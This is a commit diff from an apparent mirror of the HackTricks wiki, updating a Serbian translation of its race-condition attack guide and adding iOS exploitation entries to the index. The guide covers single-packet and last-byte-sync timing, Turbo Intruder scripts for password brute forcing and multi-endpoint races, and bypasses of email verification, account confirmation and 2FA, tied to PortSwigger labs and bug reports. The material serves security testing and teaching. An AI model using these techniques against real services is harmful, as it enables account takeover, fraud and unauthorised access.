mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/websocket-attacks.md', 'src/pentesti
This commit is contained in:
parent
e2c7fab277
commit
df4b041c84
@ -837,9 +837,14 @@
|
|||||||
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
||||||
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
|
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
|
||||||
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
|
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
|
||||||
- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
|
|
||||||
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||||
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
|
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
|
||||||
|
- [ios CVE-2020-27950-mach_msg_trailer_t](binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md)
|
||||||
|
- [ios CVE-2021-30807-IOMobileFrameBuffer](binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md)
|
||||||
|
- [ios Corellium](binary-exploitation/ios-exploiting/ios-corellium.md)
|
||||||
|
- [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md)
|
||||||
|
- [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md)
|
||||||
|
|
||||||
|
|
||||||
# 🤖 AI
|
# 🤖 AI
|
||||||
- [AI Security](AI/README.md)
|
- [AI Security](AI/README.md)
|
||||||
|
@ -3,56 +3,56 @@
|
|||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Za duboko razumevanje ove tehnike proverite originalni izveštaj na [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
> For obtaining a deep understanding of this technique check the original report in [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||||||
|
|
||||||
## Unapređenje napada na trkačke uslove
|
## Unapređivanje Race Condition napada
|
||||||
|
|
||||||
Glavna prepreka u iskorišćavanju trkačkih uslova je osiguranje da se više zahteva obrađuje u isto vreme, sa **vrlo malom razlikom u njihovim vremenima obrade—idealno, manje od 1ms**.
|
Glavna prepreka za iskorišćavanje race condition je obezbeđivanje da se više zahteva obradi u isto vreme, sa **veoma malom razlikom u vremenu obrade — idealno, manje od 1ms**.
|
||||||
|
|
||||||
Ovde možete pronaći neke tehnike za sinhronizaciju zahteva:
|
Ovde možete pronaći neke tehnike za sinhronizaciju zahteva:
|
||||||
|
|
||||||
#### HTTP/2 napad sa jednim paketom vs. HTTP/1.1 sinhronizacija poslednjeg bajta
|
#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
|
||||||
|
|
||||||
- **HTTP/2**: Podržava slanje dva zahteva preko jedne TCP veze, smanjujući uticaj mrežnog jitter-a. Međutim, zbog varijacija na strani servera, dva zahteva možda neće biti dovoljna za dosledno iskorišćavanje trkačkih uslova.
|
- **HTTP/2**: Podržava slanje dva zahteva preko jedne TCP konekcije, što smanjuje uticaj mrežnog jitter-a. Međutim, zbog varijacija na serverskoj strani, dva zahteva možda neće biti dovoljna za konzistentan exploit race condition-a.
|
||||||
- **HTTP/1.1 'Sinhronizacija poslednjeg bajta'**: Omogućava prethodno slanje većine delova 20-30 zahteva, zadržavajući mali fragment, koji se zatim šalje zajedno, postizajući simultani dolazak na server.
|
- **HTTP/1.1 'Last-Byte Sync'**: Omogućava predslanje većine delova 20-30 zahteva, zadržavajući mali fragment, koji se zatim pošalje zajedno, postižući simultani dolazak na server.
|
||||||
|
|
||||||
**Priprema za sinhronizaciju poslednjeg bajta** uključuje:
|
**Priprema za Last-Byte Sync uključuje:**
|
||||||
|
|
||||||
1. Slanje zaglavlja i podataka tela minus poslednji bajt bez završavanja toka.
|
1. Slanje header-a i body podataka minus poslednji bajt bez zatvaranja stream-a.
|
||||||
2. Pauza od 100ms nakon inicijalnog slanja.
|
2. Pauza od 100ms nakon inicijalnog slanja.
|
||||||
3. Onemogućavanje TCP_NODELAY kako bi se iskoristila Nagleova algoritam za grupisanje finalnih okvira.
|
3. Onemogućavanje TCP_NODELAY da bi se iskoristio Nagle's algorithm za grupisanje finalnih frejmova.
|
||||||
4. Pingovanje za zagrevanje veze.
|
4. Pingovanje da bi se zagrejala konekcija.
|
||||||
|
|
||||||
Sledeće slanje zadržanih okvira trebalo bi da rezultira njihovim dolaskom u jednom paketu, što se može proveriti putem Wireshark-a. Ova metoda se ne primenjuje na statične datoteke, koje obično nisu uključene u napade na trkačke uslove.
|
Naknadno slanje zadržanih frejmova bi trebalo da rezultuje njihovim dolaskom u jednom paketu, što se može verifikovati pomoću Wireshark. Ova metoda se ne primenjuje na statičke fajlove, koji obično nisu uključeni u RC napade.
|
||||||
|
|
||||||
### Prilagođavanje arhitekturi servera
|
### Prilagođavanje arhitekturi servera
|
||||||
|
|
||||||
Razumevanje arhitekture cilja je ključno. Front-end serveri mogu različito usmeravati zahteve, što utiče na vreme. Proaktivno zagrevanje veze na strani servera, kroz beznačajne zahteve, može normalizovati vreme zahteva.
|
Razumevanje arhitekture mete je ključno. Front-end serveri mogu rutirati zahteve drugačije, što utiče na tajming. Preemptivno zagrevanje konekcija na serverskoj strani, putem nebitnih zahteva, može normalizovati vreme obrade zahteva.
|
||||||
|
|
||||||
#### Rukovanje zaključavanjem zasnovanim na sesiji
|
#### Rukovanje zaključavanjem na osnovu sesije
|
||||||
|
|
||||||
Okviri poput PHP-ovog upravljača sesijama serijalizuju zahteve po sesiji, potencijalno prikrivajući ranjivosti. Korišćenje različitih tokena sesije za svaki zahtev može zaobići ovaj problem.
|
Framework-i poput PHP session handler-a serijalizuju zahteve po sesiji, što može zamaskirati ranjivosti. Korišćenjem različitih session tokena za svaki zahtev možete zaobići ovaj problem.
|
||||||
|
|
||||||
#### Prevazilaženje ograničenja brzine ili resursa
|
#### Prevazilaženje ograničenja brzine ili resursa
|
||||||
|
|
||||||
Ako zagrevanje veze nije efikasno, namerno izazivanje kašnjenja u ograničenju brzine ili resursa web servera putem poplave lažnih zahteva može olakšati napad sa jednim paketom izazivajući kašnjenje na strani servera pogodno za trkačke uslove.
|
Ako zagrevanje konekcije nije efektivno, ciljano izazivanje kašnjenja na web serverima kroz poplavu dummy zahteva može omogućiti single-packet attack tako što će inducirati serversko kašnjenje pogodno za race condition.
|
||||||
|
|
||||||
## Primeri napada
|
## Primeri napada
|
||||||
|
|
||||||
- **Tubo Intruder - HTTP2 napad sa jednim paketom (1 krajnja tačka)**: Možete poslati zahtev na **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), možete promeniti u zahtevu vrednost koju želite da brute force-ujete za **`%s`** kao u `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` i zatim odabrati **`examples/race-single-packer-attack.py`** iz padajućeg menija:
|
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Možete poslati zahtev u **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), u zahtevu možete promeniti vrednost koju želite da brute force-ujete za **`%s`** kao u `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` i zatim izaberite **`examples/race-single-packer-attack.py`** iz padajućeg menija:
|
||||||
|
|
||||||
<figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako planirate da **pošaljete različite vrednosti**, možete modifikovati kod sa ovim koji koristi rečnik iz clipboard-a:
|
Ako planirate da **pošaljete različite vrednosti**, možete izmeniti kod ovim koji koristi wordlist iz clipboard-a:
|
||||||
```python
|
```python
|
||||||
passwords = wordlists.clipboard
|
passwords = wordlists.clipboard
|
||||||
for password in passwords:
|
for password in passwords:
|
||||||
engine.queue(target.req, password, gate='race1')
|
engine.queue(target.req, password, gate='race1')
|
||||||
```
|
```
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Ako web ne podržava HTTP2 (samo HTTP1.1) koristite `Engine.THREADED` ili `Engine.BURP` umesto `Engine.BURP2`.
|
> Ako web ne podržava HTTP2 (samo HTTP1.1), koristite `Engine.THREADED` ili `Engine.BURP` umesto `Engine.BURP2`.
|
||||||
|
|
||||||
- **Tubo Intruder - HTTP2 napad sa jednim paketom (Više krajnjih tačaka)**: U slučaju da treba da pošaljete zahtev ka 1 krajnjoj tački, a zatim više ka drugim krajnjim tačkama da aktivirate RCE, možete promeniti `race-single-packet-attack.py` skriptu sa nečim poput:
|
- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: U slučaju da treba da pošaljete request na 1 endpoint, a zatim više na druge endpoints da biste pokrenuli RCE, možete izmeniti skriptu `race-single-packet-attack.py` ovako:
|
||||||
```python
|
```python
|
||||||
def queueRequests(target, wordlists):
|
def queueRequests(target, wordlists):
|
||||||
engine = RequestEngine(endpoint=target.endpoint,
|
engine = RequestEngine(endpoint=target.endpoint,
|
||||||
@ -84,15 +84,15 @@ engine.queue(confirmationReq, gate=currentAttempt)
|
|||||||
engine.openGate(currentAttempt)
|
engine.openGate(currentAttempt)
|
||||||
```
|
```
|
||||||
- Takođe je dostupno u **Repeater** putem nove opcije '**Send group in parallel**' u Burp Suite.
|
- Takođe je dostupno u **Repeater** putem nove opcije '**Send group in parallel**' u Burp Suite.
|
||||||
- Za **limit-overrun** možete jednostavno dodati **istu zahtev 50 puta** u grupu.
|
- Za **limit-overrun** možete jednostavno dodati **isti request 50 puta** u grupu.
|
||||||
- Za **connection warming**, možete **dodati** na **početku** **grupe** neke **zahteve** ka nekoj nestatičnoj delu web servera.
|
- Za **connection warming**, možete **dodati** na **početku** **grupe** neke **requests** ka nekim nestatičnim delovima web servera.
|
||||||
- Za **delaying** proces **između** obrade **jednog zahteva i drugog** u 2 podstanja koraka, možete **dodati dodatne zahteve između** oba zahteva.
|
- Za **delaying** procesa **između** obrade **jednog requesta i drugog** u 2 substates koraka, možete **dodati dodatne requests između** oba requesta.
|
||||||
- Za **multi-endpoint** RC možete početi slati **zahtev** koji **ide u skriveno stanje** i zatim **50 zahteva** odmah nakon njega koji **eksploatišu skriveno stanje**.
|
- Za **multi-endpoint** RC možete početi slanjem **requesta** koji **ide u hidden state**, a zatim odmah nakon njega **50 requests** koji **eksploatišu hidden state**.
|
||||||
|
|
||||||
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
- **Automatizovani python skript**: Cilj ovog skripta je da promeni email korisnika dok neprocenjivo verifikuje dok verifikacioni token novog emaila ne stigne na poslednji email (to je zato što je u kodu viđeno RC gde je bilo moguće modifikovati email, ali je verifikacija slata na stari jer je varijabla koja označava email već bila popunjena prvim).\
|
- **Automated python script**: Cilj ovog skripta je promeniti email korisnika dok ga kontinuirano verifikuje sve dok verifikacioni token novog emaila ne stigne na poslednji email (ovo zato što je u kodu uočena RC gde je bilo moguće izmeniti email, ali da se verifikacija pošalje na stari jer je varijabla koja ukazuje na email već bila popunjena prvom vrednošću).\
|
||||||
Kada se reč "objetivo" pronađe u primljenim emailovima, znamo da smo primili verifikacioni token promenjenog emaila i završavamo napad.
|
Kada se u primljenim emailovima pronađe reč "objetivo", znamo da smo primili verifikacioni token promenjenog emaila i završavamo napad.
|
||||||
```python
|
```python
|
||||||
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
|
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
|
||||||
# Script from victor to solve a HTB challenge
|
# Script from victor to solve a HTB challenge
|
||||||
@ -217,21 +217,21 @@ h2_conn.close_connection()
|
|||||||
|
|
||||||
response = requests.get(url, verify=False)
|
response = requests.get(url, verify=False)
|
||||||
```
|
```
|
||||||
### Poboljšanje napada sa jednim paketom
|
### Poboljšanje Single Packet Attack
|
||||||
|
|
||||||
U originalnom istraživanju objašnjeno je da ovaj napad ima limit od 1.500 bajtova. Međutim, u [**ovom postu**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), objašnjeno je kako je moguće proširiti ograničenje od 1.500 bajtova napada sa jednim paketom na **65.535 B ograničenje prozora TCP-a korišćenjem fragmentacije na IP nivou** (deljenje jednog paketa na više IP paketa) i slanje u različitom redosledu, što je omogućilo sprečavanje ponovnog sastavljanja paketa dok svi fragmenti ne stignu do servera. Ova tehnika je omogućila istraživaču da pošalje 10.000 zahteva za otprilike 166ms.
|
U originalnom istraživanju objašnjeno je da ovaj napad ima ograničenje od 1,500 bajtova. Međutim, u [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) objašnjeno je kako je moguće proširiti ograničenje od 1,500 bajtova single packet attack-a na **65,535 B window limitation of TCP by using IP layer fragmentation** (podelom jednog paketa na više IP paketa) i slanjem fragmenata u različitom redosledu, što onemogućava ponovno spajanje paketa dok svi fragmenti ne stignu na server. Ova tehnika je istraživaču omogućila da pošalje 10,000 zahteva za oko 166ms.
|
||||||
|
|
||||||
Napomena: iako ovo poboljšanje čini napad pouzdanijim u RC-u koji zahteva da stotine/hiljade paketa stignu u isto vreme, može imati i neka softverska ograničenja. Neki popularni HTTP serveri kao što su Apache, Nginx i Go imaju strogo podešavanje `SETTINGS_MAX_CONCURRENT_STREAMS` na 100, 128 i 250. Međutim, drugi kao što su NodeJS i nghttp2 nemaju ograničenje.\
|
Imajte na umu da, iako ovo poboljšanje čini napad pouzdanijim u RC situacijama kojima je potrebno da stotine/hiljade paketa stignu istovremeno, može imati i softverska ograničenja. Neki popularni HTTP serveri kao što su Apache, Nginx i Go imaju strogo podešavanje `SETTINGS_MAX_CONCURRENT_STREAMS` na 100, 128 i 250. Međutim, drugi kao NodeJS i nghttp2 imaju to neograničeno.\
|
||||||
To u suštini znači da će Apache uzeti u obzir samo 100 HTTP konekcija iz jedne TCP konekcije (ograničavajući ovaj RC napad).
|
Ovo u suštini znači da će Apache uzeti u obzir samo 100 HTTP konekcija iz jedne TCP konekcije (ograničavajući ovaj RC napad).
|
||||||
|
|
||||||
Možete pronaći neke primere korišćenja ove tehnike u repozitorijumu [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
|
Možete pronaći neke primere koji koriste ovu tehniku u repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
|
||||||
|
|
||||||
## Raw BF
|
## Raw BF
|
||||||
|
|
||||||
Pre prethodnog istraživanja, ovo su bili neki payload-ovi koji su korišćeni i koji su samo pokušavali da pošalju pakete što je brže moguće kako bi izazvali RC.
|
Pre prethodnog istraživanja, korišćeni su neki payloadi koji su samo pokušavali da pošalju pakete što brže kako bi izazvali RC.
|
||||||
|
|
||||||
- **Repeater:** Pogledajte primere iz prethodne sekcije.
|
- **Repeater:** Proverite primere iz prethodnog odeljka.
|
||||||
- **Intruder**: Pošaljite **zahtev** na **Intruder**, postavite **broj niti** na **30** unutar **menija Opcije** i izaberite kao payload **Null payloads** i generišite **30.**
|
- **Intruder**: Pošaljite **request** u **Intruder**, podesite **number of threads** na **30** u **Options menu**, izaberite kao payload **Null payloads** i generišite **30.**
|
||||||
- **Turbo Intruder**
|
- **Turbo Intruder**
|
||||||
```python
|
```python
|
||||||
def queueRequests(target, wordlists):
|
def queueRequests(target, wordlists):
|
||||||
@ -281,65 +281,73 @@ asyncio.run(main())
|
|||||||
```
|
```
|
||||||
## **RC Metodologija**
|
## **RC Metodologija**
|
||||||
|
|
||||||
### Limit-overrun / TOCTOU
|
### Prekoračenje ograničenja / TOCTOU
|
||||||
|
|
||||||
Ovo je najosnovnija vrsta race condition gde **ranjivosti** koje se **pojavljuju** na mestima koja **ograničavaju broj puta na koji možete izvršiti neku radnju**. Kao korišćenje istog koda za popust u veb prodavnici više puta. Veoma lak primer može se naći u [**ovom izveštaju**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ili u [**ovoj grešci**](https://hackerone.com/reports/759247)**.**
|
Ovo je najosnovniji tip race condition-a gde se **vulnerabilities** pojavljuju na mestima koja **ograničavaju broj puta kada možete izvršiti neku akciju**. Na primer, korišćenje istog discount code-a više puta u web prodavnici. Veoma jednostavan primer može se naći u [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ili u [**this bug**](https://hackerone.com/reports/759247)**.**
|
||||||
|
|
||||||
Postoji mnogo varijacija ove vrste napada, uključujući:
|
Postoji mnogo varijacija ovog tipa napada, uključujući:
|
||||||
|
|
||||||
- Otkup poklon kartice više puta
|
- Iskorišćavanje gift card-a više puta
|
||||||
- Ocenjivanje proizvoda više puta
|
- Ocena proizvoda više puta
|
||||||
- Podizanje ili prebacivanje gotovine iznad stanja na vašem računu
|
- Podizanje ili transfer novca koji premašuje stanje na računu
|
||||||
- Ponovno korišćenje jednog CAPTCHA rešenja
|
- Ponovno korišćenje jedne CAPTCHA rešenja
|
||||||
- Zaobilaženje anti-brute-force ograničenja brzine
|
- Zaobilaženje anti-brute-force rate limita
|
||||||
|
|
||||||
### **Skriveni podstanja**
|
### **Skrivena podstanja**
|
||||||
|
|
||||||
Eksploatacija složenih race condition često uključuje korišćenje kratkih prilika za interakciju sa skrivenim ili **nepredviđenim mašinskim podstanjem**. Evo kako pristupiti ovome:
|
Eksploatisanje kompleksnih race conditions često podrazumeva iskorišćavanje kratkih prilika za interakciju sa skrivenim ili **neplaniranim mašinskim podstanjima**. Evo kako pristupiti tome:
|
||||||
|
|
||||||
1. **Identifikujte Potencijalna Skrivena Podstanja**
|
1. **Identify Potential Hidden Substates**
|
||||||
- Počnite tako što ćete odrediti krajnje tačke koje modifikuju ili interaguju sa kritičnim podacima, kao što su korisnički profili ili procesi resetovanja lozinke. Fokusirajte se na:
|
- Počni tako što ćeš identifikovati endpoints koji menjaju ili interaguju sa kritičnim podacima, kao što su user profiles ili password reset procesi. Fokusiraj se na:
|
||||||
- **Skladištenje**: Preferirajte krajnje tačke koje manipulišu podacima koji su trajni na serveru u odnosu na one koje obrađuju podatke na klijentskoj strani.
|
- **Storage**: Preferiraj endpoints koji manipulišu server-side persistent podacima u odnosu na one koji rukovode podacima client-side.
|
||||||
- **Akcija**: Tražite operacije koje menjaju postojeće podatke, koje su verovatnije da će stvoriti uslove za eksploataciju u poređenju sa onima koje dodaju nove podatke.
|
- **Action**: Traži operacije koje menjaju postojeće podatke, jer one imaju veću verovatnoću da generišu eksploatabilne uslove u poređenju sa onima koje dodaju nove podatke.
|
||||||
- **Ključ**: Uspešni napadi obično uključuju operacije koje su ključne na istom identifikatoru, npr. korisničko ime ili token za resetovanje.
|
- **Keying**: Uspešni napadi obično uključuju operacije koje su vezane za isti identifikator, npr. username ili reset token.
|
||||||
2. **Izvršite Početno Istraživanje**
|
2. **Conduct Initial Probing**
|
||||||
- Testirajte identifikovane krajnje tačke sa napadima race condition, posmatrajući bilo kakve odstupanja od očekivanih rezultata. Neočekivani odgovori ili promene u ponašanju aplikacije mogu signalizirati ranjivost.
|
- Testiraj identifikovane endpoints sa race condition attacks, posmatrajući bilo kakva odstupanja od očekivanih rezultata. Neočekivani odgovori ili promene u ponašanju aplikacije mogu ukazivati na ranjivost.
|
||||||
3. **Dokažite Ranjivost**
|
3. **Demonstrate the Vulnerability**
|
||||||
- Sužavajte napad na minimalan broj zahteva potrebnih za eksploataciju ranjivosti, često samo dva. Ovaj korak može zahtevati više pokušaja ili automatizaciju zbog preciznog tajminga uključenog.
|
- Suzi napad na minimalan broj zahteva potrebnih za eksploataciju ranjivosti, često dovoljno dva zahteva. Ovaj korak može zahtevati više pokušaja ili automatizaciju zbog preciznog keširanja vremena.
|
||||||
|
|
||||||
### Napadi Osetljivi na Vreme
|
### Time Sensitive Attacks
|
||||||
|
|
||||||
Preciznost u tajmingu zahteva može otkriti ranjivosti, posebno kada se koriste predvidljive metode poput vremenskih oznaka za sigurnosne tokene. Na primer, generisanje tokena za resetovanje lozinke na osnovu vremenskih oznaka moglo bi omogućiti identične tokene za simultane zahteve.
|
Preciznost u vremenu slanja zahteva može otkriti vulnerabilities, posebno kada se za sigurnosne token-e koriste predvidivi metodi kao što su timestamps. Na primer, generisanje password reset tokens bazirano na timestamps može dovesti do identičnih token-a za simultane zahteve.
|
||||||
|
|
||||||
**Za Eksploataciju:**
|
**To Exploit:**
|
||||||
|
|
||||||
- Koristite precizan tajming, poput napada jednim paketom, da izvršite simultane zahteve za resetovanje lozinke. Identični tokeni ukazuju na ranjivost.
|
- Koristi precizno tempiranje, npr. single packet attack, da pošalješ concurrent password reset requests. Identični tokens ukazuju na ranjivost.
|
||||||
|
|
||||||
**Primer:**
|
**Example:**
|
||||||
|
|
||||||
- Zatražite dva tokena za resetovanje lozinke u isto vreme i uporedite ih. Podudaranje tokena sugeriše grešku u generisanju tokena.
|
- Zatraži dva password reset tokens istovremeno i uporedi ih. Poklapajući tokens sugerišu manu u token generation.
|
||||||
|
|
||||||
**Proverite ovo** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **da probate ovo.**
|
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **to try this.**
|
||||||
|
|
||||||
## Studije slučaja skrivenih podstanja
|
## Studije slučaja skrivenih podstanja
|
||||||
|
|
||||||
### Plaćanje i dodavanje stavke
|
### Pay & add an Item
|
||||||
|
|
||||||
Proverite ovo [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) da vidite kako da **platite** u prodavnici i **dodate dodatnu** stavku za koju **nećete morati da platite**.
|
Pogledaj ovaj [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) da vidiš kako da **pay** u prodavnici i **add an extra** item koju **won't need to pay for it**.
|
||||||
|
|
||||||
### Potvrda drugih emailova
|
### Confirm other emails
|
||||||
|
|
||||||
Ideja je da **verifikujete email adresu i promenite je u drugu u isto vreme** da biste saznali da li platforma verifikuje novu promenjenu.
|
Ideja je da se **verify an email address and change it to a different one at the same time** da bi se proverilo da li platforma verifikuje novu adresu koja je promenjena.
|
||||||
|
|
||||||
### Promena emaila na 2 email adrese zasnovane na kolačićima
|
### Change email to 2 emails addresses Cookie based
|
||||||
|
|
||||||
Prema [**ovoj studiji**](https://portswigger.net/research/smashing-the-state-machine) Gitlab je bio ranjiv na preuzimanje na ovaj način jer bi mogao **poslati** **token za verifikaciju emaila jedne email adrese na drugu email adresu**.
|
Prema [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab je bio ranjiv na takeover na ovaj način jer bi mogao **send** the **email verification token of one email to the other email**.
|
||||||
|
|
||||||
**Proverite ovo** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **da probate ovo.**
|
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **to try this.**
|
||||||
|
|
||||||
### Zaobilaženje 2FA
|
### Hidden Database states / Confirmation Bypass
|
||||||
|
|
||||||
Sledeći pseudo-kod je ranjiv na race condition jer u veoma kratkom vremenu **2FA nije primenjen** dok se sesija kreira:
|
Ako se koriste **2 different writes** za **add** **information** unutar **database**, postoji mali vremenski period u kome je **only the first data has been written** u bazi. Na primer, pri kreiranju user-a, **username** i **password** mogu biti **written**, a zatim se **then the token** za potvrdu novokreiranog naloga upiše. To znači da u kratkom vremenu **token to confirm an account is null**.
|
||||||
|
|
||||||
|
Stoga **registracija naloga i slanje nekoliko zahteva sa praznim token-om** (`token=` or `token[]=` or any other variation) da se odmah potvrdi nalog, moglo bi omogućiti d**a potvrdite nalog** na kome ne kontrolišete email.
|
||||||
|
|
||||||
|
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **to try this.**
|
||||||
|
|
||||||
|
### Bypass 2FA
|
||||||
|
|
||||||
|
Sledeći pseudo-code je ranjiv na race condition jer u veoma kratkom vremenu **2FA is not enforced** dok se session kreira:
|
||||||
```python
|
```python
|
||||||
session['userid'] = user.userid
|
session['userid'] = user.userid
|
||||||
if user.mfa_enabled:
|
if user.mfa_enabled:
|
||||||
@ -347,24 +355,25 @@ session['enforce_mfa'] = True
|
|||||||
# generate and send MFA code to user
|
# generate and send MFA code to user
|
||||||
# redirect browser to MFA code entry form
|
# redirect browser to MFA code entry form
|
||||||
```
|
```
|
||||||
### OAuth2 večna postojanost
|
### OAuth2 večna perzistencija
|
||||||
|
|
||||||
Postoji nekoliko [**OAUth provajdera**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Ove usluge će vam omogućiti da kreirate aplikaciju i autentifikujete korisnike koje je provajder registrovao. Da biste to uradili, **klijent** će morati da **dozvoli vašoj aplikaciji** da pristupi nekim od njihovih podataka unutar **OAUth provajdera**.\
|
There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Ove usluge vam omogućavaju da napravite aplikaciju i autentifikujete korisnike koje je provajder registrovao. Da bi to uradio, **client** će morati da **dozvoli vašoj aplikaciji** pristup nekim od njihovih podataka unutar **OAUth provider**.
|
||||||
Dakle, do sada je to samo uobičajeni prijavljivanje putem google/linkedin/github... gde se pojavljuje stranica koja kaže: "_Aplikacija \<InsertCoolName> želi da pristupi vašim informacijama, da li želite da to dozvolite?_"
|
Dakle, do sada je to samo uobičajeni login sa google/linkedin/github... gde vam se prikaže stranica na kojoj piše: "_Application \<InsertCoolName> wants to access you information, do you want to allow it?_"
|
||||||
|
|
||||||
#### Race Condition u `authorization_code`
|
#### Race Condition in `authorization_code`
|
||||||
|
|
||||||
**Problem** se javlja kada **prihvatite** i automatski šalje **`authorization_code`** zloćudnoj aplikaciji. Tada, ova **aplikacija zloupotrebljava Race Condition u OAUth servisu da generiše više od jednog AT/RT** (_Authentication Token/Refresh Token_) iz **`authorization_code`** za vaš nalog. U suštini, zloupotrebiće činjenicu da ste prihvatili aplikaciju da pristupi vašim podacima da **kreira nekoliko naloga**. Tada, ako **prestaneš da dozvoljavaš aplikaciji da pristupi tvojim podacima, jedan par AT/RT će biti obrisan, ali ostali će i dalje biti validni**.
|
The **problem** appears when you **accept it** and automatically sends an **`authorization_code`** to the malicious application. Zatim ta **aplikacija zloupotrebljava Race Condition u OAUth service provideru da generiše više od jednog AT/RT** (_Authentication Token/Refresh Token_) iz **`authorization_code`** za vaš nalog. U suštini, zloupotrebljava činjenicu da ste prihvatili da aplikacija pristupi vašim podacima da **kreira više naloga**. Ako potom **prestanete da dozvoljavate aplikaciji pristup vašim podacima, jedan par AT/RT će biti izbrisan, ali ostali će i dalje biti validni**.
|
||||||
|
|
||||||
#### Race Condition u `Refresh Token`
|
#### Race Condition in `Refresh Token`
|
||||||
|
|
||||||
Kada ste **dobili validan RT**, mogli biste pokušati da **zloupotrebite to da generišete nekoliko AT/RT** i **čak i ako korisnik otkaže dozvole** za zloćudnu aplikaciju da pristupi njegovim podacima, **several RTs će i dalje biti validni.**
|
Once you have **obtained a valid RT** you could try to **abuse it to generate several AT/RT** and **even if the user cancels the permissions** for the malicious application to access his data, **several RTs will still be valid.**
|
||||||
|
|
||||||
## **RC u WebSockets**
|
## **RC in WebSockets**
|
||||||
|
|
||||||
U [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) možete pronaći PoC u Javi za slanje websocket poruka u **paraleli** da zloupotrebi **Race Conditions takođe u Web Sockets**.
|
- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) možete naći PoC u Java koji šalje websocket poruke **paralelno** da bi zloupotrebio **Race Conditions i u Web Sockets**.
|
||||||
|
- With Burp’s WebSocket Turbo Intruder možete koristiti **THREADED** engine da pokrenete više WS konekcija i ispaljujete payloads paralelno. Počnite od zvaničnog primera i podešavajte `config()` (broj thread-ova) za konkurentnost; ovo je često pouzdanije od batch-ovanja na jednoj konekciji kada se race-uje server‑side stanje kroz WS handlere. Pogledajte [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
|
||||||
|
|
||||||
## Reference
|
## References
|
||||||
|
|
||||||
- [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
|
- [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
|
||||||
- [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
|
